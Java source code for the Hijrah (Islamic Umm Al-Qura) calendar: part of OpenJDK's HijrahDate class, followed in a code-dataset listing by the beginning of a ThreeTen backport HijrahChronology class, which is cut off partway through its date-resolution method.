* This will query the {@link Clock#systemDefaultZone() system clock} in the default
* time-zone to obtain the current date.
* <p>
* Using this method will prevent the ability to use an alternate clock for testing
* because the clock is hard-coded.
*
* @return the current date using the system clock and default time-zone, not null
*/
public static HijrahDate now() {
return now(Clock.systemDefaultZone());
}
/**
* Obtains the current {@code HijrahDate} of the Islamic Umm Al-Qura calendar
* in the specified time-zone.
* <p>
* This will query the {@link Clock#system(ZoneId) system clock} to obtain the current date.
* Specifying the time-zone avoids dependence on the default time-zone.
* <p>
* Using this method will prevent the ability to use an alternate clock for testing
* because the clock is hard-coded.
*
* @param zone the zone ID to use, not null
* @return the current date using the system clock, not null
*/
public static HijrahDate now(ZoneId zone) {
return now(Clock.system(zone));
}
/**
* Obtains the current {@code HijrahDate} of the Islamic Umm Al-Qura calendar
* from the specified clock.
* <p>
* This will query the specified clock to obtain the current date - today.
* Using this method allows the use of an alternate clock for testing.
* The alternate clock may be introduced using {@linkplain Clock dependency injection}.
*
* @param clock the clock to use, not null
* @return the current date, not null
* @throws DateTimeException if the current date cannot be obtained
*/
public static HijrahDate now(Clock clock) {
return HijrahDate.ofEpochDay(HijrahChronology.INSTANCE, LocalDate.now(clock).toEpochDay());
}
/**
* Obtains a {@code HijrahDate} of the Islamic Umm Al-Qura calendar
* from the proleptic-year, month-of-year and day-of-month fields.
* <p>
* This returns a {@code HijrahDate} with the specified fields.
* The day must be valid for the year and month, otherwise an exception will be thrown.
*
* @param prolepticYear the Hijrah proleptic-year
* @param month the Hijrah month-of-year, from 1 to 12
* @param dayOfMonth the Hijrah day-of-month, from 1 to 30
* @return the date in Hijrah calendar system, not null
* @throws DateTimeException if the value of any field is out of range,
* or if the day-of-month is invalid for the month-year
*/
public static HijrahDate of(int prolepticYear, int month, int dayOfMonth) {
return HijrahChronology.INSTANCE.date(prolepticYear, month, dayOfMonth);
}
/**
* Obtains a {@code HijrahDate} of the Islamic Umm Al-Qura calendar from a temporal object.
* <p>
* This obtains a date in the Hijrah calendar system based on the specified temporal.
* A {@code TemporalAccessor} represents an arbitrary set of date and time information,
* which this factory converts to an instance of {@code HijrahDate}.
* <p>
* The conversion typically uses the {@link ChronoField#EPOCH_DAY EPOCH_DAY}
* field, which is standardized across calendar systems.
* <p>
* This method matches the signature of the functional interface {@link TemporalQuery}
* allowing it to be used as a query via method reference, {@code HijrahDate::from}.
*
* @param temporal the temporal object to convert, not null
* @return the date in Hijrah calendar system, not null
* @throws DateTimeException if unable to convert to a {@code HijrahDate}
*/
public static HijrahDate from(TemporalAccessor temporal) {
return HijrahChronology.INSTANCE.date(temporal);
}
//-----------------------------------------------------------------------
/**
* Constructs an {@code HijrahDate} with the proleptic-year, month-of-year and
* day-of-month fields.
*
* @param chrono The chronology to create the date with
* @param prolepticYear the proleptic year
* @param monthOfYear the month of year
* @param dayOfMonth the day of month
*/
private HijrahDate(HijrahChronology chrono, int prolepticYear, int monthOfYear, int dayOfMonth) {
// Computing the Gregorian day checks the valid ranges
chrono.getEpochDay(prolepticYear, monthOfYear, dayOfMonth);
this.chrono = chrono;
this.prolepticYear = prolepticYear;
this.monthOfYear = monthOfYear;
this.dayOfMonth = dayOfMonth;
}
/**
* Constructs an instance with the Epoch Day.
*
* @param epochDay the epochDay
*/
private HijrahDate(HijrahChronology chrono, long epochDay) {
int[] dateInfo = chrono.getHijrahDateInfo((int)epochDay);
this.chrono = chrono;
this.prolepticYear = dateInfo[0];
this.monthOfYear = dateInfo[1];
this.dayOfMonth = dateInfo[2];
}
//-----------------------------------------------------------------------
/**
* Gets the chronology of this date, which is the Hijrah calendar system.
* <p>
* The {@code Chronology} represents the calendar system in use.
* The era and other fields in {@link ChronoField} are defined by the chronology.
*
* @return the Hijrah chronology, not null
*/
@Override
public HijrahChronology getChronology() {
return chrono;
}
/**
* Gets the era applicable at this date.
* <p>
* The Hijrah calendar system has one era, 'AH',
* defined by {@link HijrahEra}.
*
* @return the era applicable at this date, not null
*/
@Override
public HijrahEra getEra() {
return HijrahEra.AH;
}
/**
* Returns the length of the month represented by this date.
* <p>
* This returns the length of the month in days.
* Month lengths in the Hijrah calendar system vary between 29 and 30 days.
*
* @return the length of the month in days
*/
@Override
public int lengthOfMonth() {
return chrono.getMonthLength(prolepticYear, monthOfYear);
}
/**
* Returns the length of the year represented by this date.
* <p>
* This returns the length of the year in days.
* A Hijrah calendar system year is typically shorter than
* that of the ISO calendar system.
*
* @return the length of the year in days
*/
@Override
public int lengthOfYear() {
return chrono.getYearLength(prolepticYear);
}
//-----------------------------------------------------------------------
@Override
public ValueRange range(TemporalField field) {
if (field instanceof ChronoField) {
if (isSupported(field)) {
ChronoField f = (ChronoField) field;
return switch (f) {
case DAY_OF_MONTH -> ValueRange.of(1, lengthOfMonth());
case DAY_OF_YEAR -> ValueRange.of(1, lengthOfYear());
case ALIGNED_WEEK_OF_MONTH -> ValueRange.of(1, 5); // TODO
// TODO does the limited range of valid years cause years to
// start/end part way through? that would affect range
default -> getChronology().range(f);
};
}
throw new UnsupportedTemporalTypeException("Unsupported field: " + field);
}
return field.rangeRefinedBy(this);
}
@Override
public long getLong(TemporalField field) {
if (field instanceof ChronoField) {
return switch ((ChronoField) field) {
case DAY_OF_WEEK -> getDayOfWeek();
case ALIGNED_DAY_OF_WEEK_IN_MONTH -> ((dayOfMonth - 1) % 7) + 1;
case ALIGNED_DAY_OF_WEEK_IN_YEAR -> ((getDayOfYear() - 1) % 7) + 1;
case DAY_OF_MONTH -> this.dayOfMonth;
case DAY_OF_YEAR -> this.getDayOfYear();
case EPOCH_DAY -> toEpochDay();
case ALIGNED_WEEK_OF_MONTH -> ((dayOfMonth - 1) / 7) + 1;
case ALIGNED_WEEK_OF_YEAR -> ((getDayOfYear() - 1) / 7) + 1;
case MONTH_OF_YEAR -> monthOfYear;
case PROLEPTIC_MONTH -> getProlepticMonth();
case YEAR_OF_ERA -> prolepticYear;
case YEAR -> prolepticYear;
case ERA -> getEraValue();
default -> throw new UnsupportedTemporalTypeException("Unsupported field: " + field);
};
}
return field.getFrom(this);
}
private long getProlepticMonth() {
return prolepticYear * 12L + monthOfYear - 1;
}
@Override
public HijrahDate with(TemporalField field, long newValue) {
if (field instanceof ChronoField chronoField) {
// not using checkValidIntValue so EPOCH_DAY and PROLEPTIC_MONTH work
chrono.range(chronoField).checkValidValue(newValue, chronoField); // TODO: validate value
int nvalue = (int) newValue;
return switch (chronoField) {
case DAY_OF_WEEK -> plusDays(newValue - getDayOfWeek());
case ALIGNED_DAY_OF_WEEK_IN_MONTH -> plusDays(newValue - getLong(ALIGNED_DAY_OF_WEEK_IN_MONTH));
case ALIGNED_DAY_OF_WEEK_IN_YEAR -> plusDays(newValue - getLong(ALIGNED_DAY_OF_WEEK_IN_YEAR));
case DAY_OF_MONTH -> resolvePreviousValid(prolepticYear, monthOfYear, nvalue);
case DAY_OF_YEAR -> plusDays(Math.min(nvalue, lengthOfYear()) - getDayOfYear());
case EPOCH_DAY -> new HijrahDate(chrono, newValue);
case ALIGNED_WEEK_OF_MONTH -> plusDays((newValue - getLong(ALIGNED_WEEK_OF_MONTH)) * 7);
case ALIGNED_WEEK_OF_YEAR -> plusDays((newValue - getLong(ALIGNED_WEEK_OF_YEAR)) * 7);
case MONTH_OF_YEAR -> resolvePreviousValid(prolepticYear, nvalue, dayOfMonth);
case PROLEPTIC_MONTH -> plusMonths(newValue - getProlepticMonth());
case YEAR_OF_ERA -> resolvePreviousValid(prolepticYear >= 1 ? nvalue : 1 - nvalue, monthOfYear, dayOfMonth);
case YEAR -> resolvePreviousValid(nvalue, monthOfYear, dayOfMonth);
case ERA -> resolvePreviousValid(1 - prolepticYear, monthOfYear, dayOfMonth);
default -> throw new UnsupportedTemporalTypeException("Unsupported field: " + field);
};
}
return super.with(field, newValue);
}
private HijrahDate resolvePreviousValid(int prolepticYear, int month, int day) {
int monthDays = chrono.getMonthLength(prolepticYear, month);
if (day > monthDays) {
day = monthDays;
}
return HijrahDate.of(chrono, prolepticYear, month, day);
}
/**
* {@inheritDoc}
* @throws DateTimeException if unable to make the adjustment.
* For example, if the adjuster requires an ISO chronology
* @throws ArithmeticException {@inheritDoc}
*/
@Override
public HijrahDate with(TemporalAdjuster adjuster) {
return super.with(adjuster);
}
/**
* Returns a {@code HijrahDate} with the Chronology requested.
* <p>
* The year, month, and day are checked against the new requested
* HijrahChronology. If the chronology has a shorter month length
* for the month, the day is reduced to be the last day of the month.
*
* @param chronology the new HijrahChonology, non-null
* @return a HijrahDate with the requested HijrahChronology, non-null
*/
public HijrahDate withVariant(HijrahChronology chronology) {
if (chrono == chronology) {
return this;
}
// Like resolvePreviousValid the day is constrained to stay in the same month
int monthDays = chronology.getDayOfYear(prolepticYear, monthOfYear);
return HijrahDate.of(chronology, prolepticYear, monthOfYear,(dayOfMonth > monthDays) ? monthDays : dayOfMonth );
}
/**
* {@inheritDoc}
* @throws DateTimeException {@inheritDoc}
* @throws ArithmeticException {@inheritDoc}
*/
@Override
public HijrahDate plus(TemporalAmount amount) {
return super.plus(amount);
}
/**
* {@inheritDoc}
* @throws DateTimeException {@inheritDoc}
* @throws ArithmeticException {@inheritDoc}
*/
@Override
public HijrahDate minus(TemporalAmount amount) {
return super.minus(amount);
}
@Override
public long toEpochDay() {
return chrono.getEpochDay(prolepticYear, monthOfYear, dayOfMonth);
}
/**
* Gets the day-of-year field.
* <p>
* This method returns the primitive {@code int} value for the day-of-year.
*
* @return the day-of-year
*/
private int getDayOfYear() {
return chrono.getDayOfYear(prolepticYear, monthOfYear) + dayOfMonth;
}
/**
* Gets the day-of-week value.
*
* @return the day-of-week; computed from the epochday
*/
private int getDayOfWeek() {
int dow0 = Math.floorMod(toEpochDay() + 3, 7);
return dow0 + 1;
}
/**
* Gets the Era of this date.
*
* @return the Era of this date; computed from epochDay
*/
private int getEraValue() {
return (prolepticYear > 1 ? 1 : 0);
}
//-----------------------------------------------------------------------
/**
* Checks if the year is a leap year, according to the Hijrah calendar system rules.
*
* @return true if this date is in a leap year
*/
@Override
public boolean isLeapYear() {
return chrono.isLeapYear(prolepticYear);
}
//-----------------------------------------------------------------------
@Override
HijrahDate plusYears(long years) {
if (years == 0) {
return this;
}
int newYear = Math.addExact(this.prolepticYear, (int)years);
return resolvePreviousValid(newYear, monthOfYear, dayOfMonth);
}
@Override
HijrahDate plusMonths(long monthsToAdd) {
if (monthsToAdd == 0) {
return this;
}
long monthCount = prolepticYear * 12L + (monthOfYear - 1);
long calcMonths = monthCount + monthsToAdd; // safe overflow
int newYear = chrono.checkValidYear(Math.floorDiv(calcMonths, 12L));
int newMonth = (int)Math.floorMod(calcMonths, 12L) + 1;
return resolvePreviousValid(newYear, newMonth, dayOfMonth);
}
@Override
HijrahDate plusWeeks(long weeksToAdd) {
return super.plusWeeks(weeksToAdd);
}
@Override
HijrahDate plusDays(long days) {
return new HijrahDate(chrono, toEpochDay() + days);
}
@Override
public HijrahDate plus(long amountToAdd, TemporalUnit unit) {
return super.plus(amountToAdd, unit);
}
@Override
public HijrahDate minus(long amountToSubtract, TemporalUnit unit) {
return super.minus(amountToSubtract, unit);
}
@Override
HijrahDate minusYears(long yearsToSubtract) {
return super.minusYears(yearsToSubtract);
}
@Override
HijrahDate minusMonths(long monthsToSubtract) {
return super.minusMonths(monthsToSubtract);
}
@Override
HijrahDate minusWeeks(long weeksToSubtract) {
return super.minusWeeks(weeksToSubtract);
}
@Override
HijrahDate minusDays(long daysToSubtract) {
return super.minusDays(daysToSubtract);
}
@Override // for javadoc and covariant return type
@SuppressWarnings("unchecked")
public final ChronoLocalDateTime<HijrahDate> atTime(LocalTime localTime) {
return (ChronoLocalDateTime<HijrahDate>)super.atTime(localTime);
}
@Override
public ChronoPeriod until(ChronoLocalDate endDate) {
// TODO: untested
HijrahDate end = getChronology().date(endDate);
long totalMonths = (end.prolepticYear - this.prolepticYear) * 12 + (end.monthOfYear - this.monthOfYear); // safe
int days = end.dayOfMonth - this.dayOfMonth;
if (totalMonths > 0 && days < 0) {
totalMonths--;
HijrahDate calcDate = this.plusMonths(totalMonths);
days = (int) (end.toEpochDay() - calcDate.toEpochDay()); // safe
} else if (totalMonths < 0 && days > 0) {
totalMonths++;
days -= end.lengthOfMonth();
}
long years = totalMonths / 12; // safe
int months = (int) (totalMonths % 12); // safe
return getChronology().period(Math.toIntExact(years), months, days);
}
//-------------------------------------------------------------------------
/**
* Compares this date to another date, including the chronology.
* <p>
* Compares this {@code HijrahDate} with another ensuring that the date is the same.
* <p>
* Only objects of type {@code HijrahDate} are compared, other types return false.
* To compare the dates of two {@code TemporalAccessor} instances, including dates
* in two different chronologies, use {@link ChronoField#EPOCH_DAY} as a comparator.
*
* @param obj the object to check, null returns false
* @return true if this is equal to the other date and the Chronologies are equal
*/
@Override // override for performance
public boolean equals(Object obj) {
if (this == obj) {
return true;
}
return (obj instanceof HijrahDate otherDate)
&& prolepticYear == otherDate.prolepticYear
&& this.monthOfYear == otherDate.monthOfYear
&& this.dayOfMonth == otherDate.dayOfMonth
&& getChronology().equals(otherDate.getChronology());
}
/**
* A hash code for this date.
*
* @return a suitable hash code based only on the Chronology and the date
*/
@Override // override for performance
public int hashCode() {
int yearValue = prolepticYear;
int monthValue = monthOfYear;
int dayValue = dayOfMonth;
return getChronology().getId().hashCode() ^ (yearValue & 0xFFFFF800)
^ ((yearValue << 11) + (monthValue << 6) + (dayValue));
}
//-----------------------------------------------------------------------
/**
* Defend against malicious streams.
*
* @param s the stream to read
* @throws InvalidObjectException always
*/
@java.io.Serial
private void readObject(ObjectInputStream s) throws InvalidObjectException {
throw new InvalidObjectException("Deserialization via serialization delegate");
}
/**
* Writes the object using a
* <a href="{@docRoot}/serialized-form.html#java.time.chrono.Ser">dedicated serialized form</a>.
* @serialData
* <pre>
* out.writeByte(6); // identifies a HijrahDate
* out.writeObject(chrono); // the HijrahChronology variant
* out.writeInt(get(YEAR));
* out.writeByte(get(MONTH_OF_YEAR));
* out.writeByte(get(DAY_OF_MONTH));
* </pre>
*
* @return the instance of {@code Ser}, not null
*/
@java.io.Serial
private Object writeReplace() {
return new Ser(Ser.HIJRAH_DATE_TYPE, this);
}
void writeExternal(ObjectOutput out) throws IOException {
// HijrahChronology is implicit in the Hijrah_DATE_TYPE
out.writeObject(getChronology());
out.writeInt(get(YEAR));
out.writeByte(get(MONTH_OF_YEAR));
out.writeByte(get(DAY_OF_MONTH));
}
static HijrahDate readExternal(ObjectInput in) throws IOException, ClassNotFoundException {
HijrahChronology chrono = (HijrahChronology) in.readObject();
int year = in.readInt();
int month = in.readByte();
int dayOfMonth = in.readByte();
return chrono.date(year, month, dayOfMonth);
}
}
| openjdk/jdk | src/java.base/share/classes/java/time/chrono/HijrahDate.java |
1,402 | /*
* Copyright 2020 Alexey Andreev.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/*
* Copyright (c) 2007-present, Stephen Colebourne & Michael Nascimento Santos
*
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* * Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
*
* * Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
*
* * Neither the name of JSR-310 nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
* CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
package org.threeten.bp.chrono;
import static org.threeten.bp.temporal.ChronoField.ALIGNED_DAY_OF_WEEK_IN_MONTH;
import static org.threeten.bp.temporal.ChronoField.ALIGNED_DAY_OF_WEEK_IN_YEAR;
import static org.threeten.bp.temporal.ChronoField.ALIGNED_WEEK_OF_MONTH;
import static org.threeten.bp.temporal.ChronoField.ALIGNED_WEEK_OF_YEAR;
import static org.threeten.bp.temporal.ChronoField.DAY_OF_MONTH;
import static org.threeten.bp.temporal.ChronoField.DAY_OF_WEEK;
import static org.threeten.bp.temporal.ChronoField.DAY_OF_YEAR;
import static org.threeten.bp.temporal.ChronoField.EPOCH_DAY;
import static org.threeten.bp.temporal.ChronoField.ERA;
import static org.threeten.bp.temporal.ChronoField.MONTH_OF_YEAR;
import static org.threeten.bp.temporal.ChronoField.PROLEPTIC_MONTH;
import static org.threeten.bp.temporal.ChronoField.YEAR;
import static org.threeten.bp.temporal.ChronoField.YEAR_OF_ERA;
import static org.threeten.bp.temporal.ChronoUnit.DAYS;
import static org.threeten.bp.temporal.ChronoUnit.MONTHS;
import static org.threeten.bp.temporal.ChronoUnit.WEEKS;
import static org.threeten.bp.temporal.TemporalAdjusters.nextOrSame;
import java.io.Serializable;
import java.util.Arrays;
import java.util.HashMap;
import java.util.List;
import java.util.Locale;
import java.util.Map;
import java.util.Objects;
import org.threeten.bp.Clock;
import org.threeten.bp.DateTimeException;
import org.threeten.bp.DayOfWeek;
import org.threeten.bp.Instant;
import org.threeten.bp.LocalDate;
import org.threeten.bp.ZoneId;
import org.threeten.bp.format.ResolverStyle;
import org.threeten.bp.temporal.ChronoField;
import org.threeten.bp.temporal.TemporalAccessor;
import org.threeten.bp.temporal.TemporalField;
import org.threeten.bp.temporal.ValueRange;
/**
* The Hijrah calendar system.
* <p>
* This chronology defines the rules of the Hijrah calendar system.
* <p>
* The implementation follows the Freeman-Grenville algorithm (*1) and has following features.
* <p><ul>
* <li>A year has 12 months.</li>
* <li>Over a cycle of 30 years there are 11 leap years.</li>
* <li>There are 30 days in month number 1, 3, 5, 7, 9, and 11,
* and 29 days in month number 2, 4, 6, 8, 10, and 12.</li>
* <li>In a leap year month 12 has 30 days.</li>
* <li>In a 30 year cycle, year 2, 5, 7, 10, 13, 16, 18, 21, 24,
* 26, and 29 are leap years.</li>
* <li>Total of 10631 days in a 30 years cycle.</li>
* </ul><p>
* <P>
* The table shows the features described above.
* <blockquote>
* <table border="1">
* <tbody>
* <tr>
* <th># of month</th>
* <th>Name of month</th>
* <th>Number of days</th>
* </tr>
* <tr>
* <td>1</td>
* <td>Muharram</td>
* <td>30</td>
* </tr>
* <tr>
* <td>2</td>
* <td>Safar</td>
* <td>29</td>
* </tr>
* <tr>
* <td>3</td>
* <td>Rabi'al-Awwal</td>
* <td>30</td>
* </tr>
* <tr>
* <td>4</td>
* <td>Rabi'ath-Thani</td>
* <td>29</td>
* </tr>
* <tr>
* <td>5</td>
* <td>Jumada l-Ula</td>
* <td>30</td>
* </tr>
* <tr>
* <td>6</td>
* <td>Jumada t-Tania</td>
* <td>29</td>
* </tr>
* <tr>
* <td>7</td>
* <td>Rajab</td>
* <td>30</td>
* </tr>
* <tr>
* <td>8</td>
* <td>Sha`ban</td>
* <td>29</td>
* </tr>
* <tr>
* <td>9</td>
* <td>Ramadan</td>
* <td>30</td>
* </tr>
* <tr>
* <td>10</td>
* <td>Shawwal</td>
* <td>29</td>
* </tr>
* <tr>
* <td>11</td>
* <td>Dhu 'l-Qa`da</td>
* <td>30</td>
* </tr>
* <tr>
* <td>12</td>
* <td>Dhu 'l-Hijja</td>
* <td>29, but 30 days in years 2, 5, 7, 10,<br>
* 13, 16, 18, 21, 24, 26, and 29</td>
* </tr>
* </tbody>
* </table>
* </blockquote>
* <p>
* (*1) The algorithm is taken from the book,
* The Muslim and Christian Calendars by G.S.P. Freeman-Grenville.
* <p>
*
* <h3>Specification for implementors</h3>
* This class is immutable and thread-safe.
*/
public final class HijrahChronology extends Chronology implements Serializable {
/**
* Singleton instance of the Hijrah chronology.
*/
public static final HijrahChronology INSTANCE = new HijrahChronology();
/**
* Narrow names for eras.
*/
private static final HashMap<String, String[]> ERA_NARROW_NAMES = new HashMap<String, String[]>();
/**
* Short names for eras.
*/
private static final HashMap<String, String[]> ERA_SHORT_NAMES = new HashMap<String, String[]>();
/**
* Full names for eras.
*/
private static final HashMap<String, String[]> ERA_FULL_NAMES = new HashMap<String, String[]>();
/**
* Fallback language for the era names.
*/
private static final String FALLBACK_LANGUAGE = "en";
/**
* Language that has the era names.
*/
//private static final String TARGET_LANGUAGE = "ar";
/**
* Name data.
*/
static {
ERA_NARROW_NAMES.put(FALLBACK_LANGUAGE, new String[]{"BH", "HE"});
ERA_SHORT_NAMES.put(FALLBACK_LANGUAGE, new String[]{"B.H.", "H.E."});
ERA_FULL_NAMES.put(FALLBACK_LANGUAGE, new String[]{"Before Hijrah", "Hijrah Era"});
}
/**
* Restrictive constructor.
*/
private HijrahChronology() {
}
/**
* Resolve singleton.
*
* @return the singleton instance, not null
*/
private Object readResolve() {
return INSTANCE;
}
//-----------------------------------------------------------------------
/**
* Gets the ID of the chronology - 'Hijrah-umalqura'.
* <p>
* The ID uniquely identifies the {@code Chronology}.
* It can be used to lookup the {@code Chronology} using {@link #of(String)}.
*
* @return the chronology ID - 'Hijrah-umalqura'
* @see #getCalendarType()
*/
@Override
public String getId() {
return "Hijrah-umalqura";
}
/**
* Gets the calendar type of the underlying calendar system - 'islamic-umalqura'.
* <p>
* The calendar type is an identifier defined by the
* <em>Unicode Locale Data Markup Language (LDML)</em> specification.
* It can be used to lookup the {@code Chronology} using {@link #of(String)}.
* It can also be used as part of a locale, accessible via
* {@link Locale#getUnicodeLocaleType(String)} with the key 'ca'.
*
* @return the calendar system type - 'islamic-umalqura'
* @see #getId()
*/
@Override
public String getCalendarType() {
return "islamic-umalqura";
}
//-----------------------------------------------------------------------
@Override // override with covariant return type
public HijrahDate date(Era era, int yearOfEra, int month, int dayOfMonth) {
return (HijrahDate) super.date(era, yearOfEra, month, dayOfMonth);
}
@Override // override with covariant return type
public HijrahDate date(int prolepticYear, int month, int dayOfMonth) {
return HijrahDate.of(prolepticYear, month, dayOfMonth);
}
@Override // override with covariant return type
public HijrahDate dateYearDay(Era era, int yearOfEra, int dayOfYear) {
return (HijrahDate) super.dateYearDay(era, yearOfEra, dayOfYear);
}
@Override // override with covariant return type
public HijrahDate dateYearDay(int prolepticYear, int dayOfYear) {
return HijrahDate.of(prolepticYear, 1, 1).plusDays(dayOfYear - 1); // TODO better
}
@Override
public HijrahDate dateEpochDay(long epochDay) {
return HijrahDate.of(LocalDate.ofEpochDay(epochDay));
}
//-----------------------------------------------------------------------
@Override // override with covariant return type
public HijrahDate date(TemporalAccessor temporal) {
if (temporal instanceof HijrahDate) {
return (HijrahDate) temporal;
}
return HijrahDate.ofEpochDay(temporal.getLong(EPOCH_DAY));
}
@SuppressWarnings("unchecked")
@Override // override with covariant return type
public ChronoLocalDateTime<HijrahDate> localDateTime(TemporalAccessor temporal) {
return (ChronoLocalDateTime<HijrahDate>) super.localDateTime(temporal);
}
@SuppressWarnings("unchecked")
@Override // override with covariant return type
public ChronoZonedDateTime<HijrahDate> zonedDateTime(TemporalAccessor temporal) {
return (ChronoZonedDateTime<HijrahDate>) super.zonedDateTime(temporal);
}
@SuppressWarnings("unchecked")
@Override // override with covariant return type
public ChronoZonedDateTime<HijrahDate> zonedDateTime(Instant instant, ZoneId zone) {
return (ChronoZonedDateTime<HijrahDate>) super.zonedDateTime(instant, zone);
}
//-----------------------------------------------------------------------
@Override // override with covariant return type
public HijrahDate dateNow() {
return (HijrahDate) super.dateNow();
}
@Override // override with covariant return type
public HijrahDate dateNow(ZoneId zone) {
return (HijrahDate) super.dateNow(zone);
}
@Override // override with covariant return type
public HijrahDate dateNow(Clock clock) {
Objects.requireNonNull(clock, "clock");
return (HijrahDate) super.dateNow(clock);
}
//-----------------------------------------------------------------------
@Override
public boolean isLeapYear(long prolepticYear) {
return HijrahDate.isLeapYear(prolepticYear);
}
@Override
public int prolepticYear(Era era, int yearOfEra) {
if (!(era instanceof HijrahEra)) {
throw new ClassCastException("Era must be HijrahEra");
}
return era == HijrahEra.AH ? yearOfEra : 1 - yearOfEra;
}
@Override
public HijrahEra eraOf(int eraValue) {
switch (eraValue) {
case 0:
return HijrahEra.BEFORE_AH;
case 1:
return HijrahEra.AH;
default:
throw new DateTimeException("invalid Hijrah era");
}
}
@Override
public List<Era> eras() {
return Arrays.asList(HijrahEra.values());
}
//-----------------------------------------------------------------------
@Override
public ValueRange range(ChronoField field) {
return field.range();
}
@Override
public HijrahDate resolveDate(Map<TemporalField, Long> fieldValues, ResolverStyle resolverStyle) {
if (fieldValues.containsKey(EPOCH_DAY)) {
return dateEpochDay(fieldValues.remove(EPOCH_DAY));
}
// normalize fields
Long prolepticMonth = fieldValues.remove(PROLEPTIC_MONTH);
if (prolepticMonth != null) {
if (resolverStyle != ResolverStyle.LENIENT) {
PROLEPTIC_MONTH.checkValidValue(prolepticMonth);
}
updateResolveMap(fieldValues, MONTH_OF_YEAR, Math.floorMod(prolepticMonth, 12) + 1);
updateResolveMap(fieldValues, YEAR, Math.floorDiv(prolepticMonth, 12));
}
// eras
Long yoeLong = fieldValues.remove(YEAR_OF_ERA);
if (yoeLong != null) {
if (resolverStyle != ResolverStyle.LENIENT) {
YEAR_OF_ERA.checkValidValue(yoeLong);
}
Long era = fieldValues.remove(ERA);
if (era == null) {
Long year = fieldValues.get(YEAR);
if (resolverStyle == ResolverStyle.STRICT) {
// do not invent era if strict, but do cross-check with year
if (year != null) {
updateResolveMap(fieldValues, YEAR, year > 0 ? yoeLong : Math.subtractExact(1, yoeLong));
} else {
// reinstate the field removed earlier, no cross-check issues
fieldValues.put(YEAR_OF_ERA, yoeLong);
}
} else {
// invent era
updateResolveMap(fieldValues, YEAR,
year == null || year > 0 ? yoeLong : Math.subtractExact(1, yoeLong));
}
} else if (era == 1L) {
updateResolveMap(fieldValues, YEAR, yoeLong);
} else if (era == 0L) {
updateResolveMap(fieldValues, YEAR, Math.subtractExact(1, yoeLong));
} else {
throw new DateTimeException("Invalid value for era: " + era);
}
} else if (fieldValues.containsKey(ERA)) {
ERA.checkValidValue(fieldValues.get(ERA)); // always validated
}
// build date
if (fieldValues.containsKey(YEAR)) {
if (fieldValues.containsKey(MONTH_OF_YEAR)) {
if (fieldValues.containsKey(DAY_OF_MONTH)) {
int y = YEAR.checkValidIntValue(fieldValues.remove(YEAR));
if (resolverStyle == ResolverStyle.LENIENT) {
long months = Math.subtractExact(fieldValues.remove(MONTH_OF_YEAR), 1);
long days = Math.subtractExact(fieldValues.remove(DAY_OF_MONTH), 1);
return date(y, 1, 1).plusMonths(months).plusDays(days);
} else {
int moy = range(MONTH_OF_YEAR).checkValidIntValue(fieldValues.remove(MONTH_OF_YEAR),
MONTH_OF_YEAR);
int dom = range(DAY_OF_MONTH).checkValidIntValue(fieldValues.remove(DAY_OF_MONTH),
DAY_OF_MONTH);
if (resolverStyle == ResolverStyle.SMART && dom > 28) {
dom = Math.min(dom, date(y, moy, 1).lengthOfMonth());
}
return date(y, moy, dom);
}
}
if (fieldValues.containsKey(ALIGNED_WEEK_OF_MONTH)) {
if (fieldValues.containsKey(ALIGNED_DAY_OF_WEEK_IN_MONTH)) {
int y = YEAR.checkValidIntValue(fieldValues.remove(YEAR));
if (resolverStyle == ResolverStyle.LENIENT) {
long months = Math.subtractExact(fieldValues.remove(MONTH_OF_YEAR), 1);
long weeks = Math.subtractExact(fieldValues.remove(ALIGNED_WEEK_OF_MONTH), 1);
long days = Math.subtractExact(fieldValues.remove(ALIGNED_DAY_OF_WEEK_IN_MONTH), 1);
return date(y, 1, 1).plus(months, MONTHS).plus(weeks, WEEKS).plus(days, DAYS);
}
int moy = MONTH_OF_YEAR.checkValidIntValue(fieldValues.remove(MONTH_OF_YEAR));
int aw = ALIGNED_WEEK_OF_MONTH.checkValidIntValue(fieldValues.remove(ALIGNED_WEEK_OF_MONTH));
int ad = ALIGNED_DAY_OF_WEEK_IN_MONTH.checkValidIntValue(
fieldValues.remove(ALIGNED_DAY_OF_WEEK_IN_MONTH));
HijrahDate date = date(y, moy, 1).plus((aw - 1) * 7 + (ad - 1), DAYS);
if (resolverStyle == ResolverStyle.STRICT && date.get(MONTH_OF_YEAR) != moy) {
throw new DateTimeException("Strict mode rejected date parsed to a different month");
}
return date;
}
if (fieldValues.containsKey(DAY_OF_WEEK)) {
int y = YEAR.checkValidIntValue(fieldValues.remove(YEAR));
if (resolverStyle == ResolverStyle.LENIENT) {
long months = Math.subtractExact(fieldValues.remove(MONTH_OF_YEAR), 1);
long weeks = Math.subtractExact(fieldValues.remove(ALIGNED_WEEK_OF_MONTH), 1);
long days = Math.subtractExact(fieldValues.remove(DAY_OF_WEEK), 1);
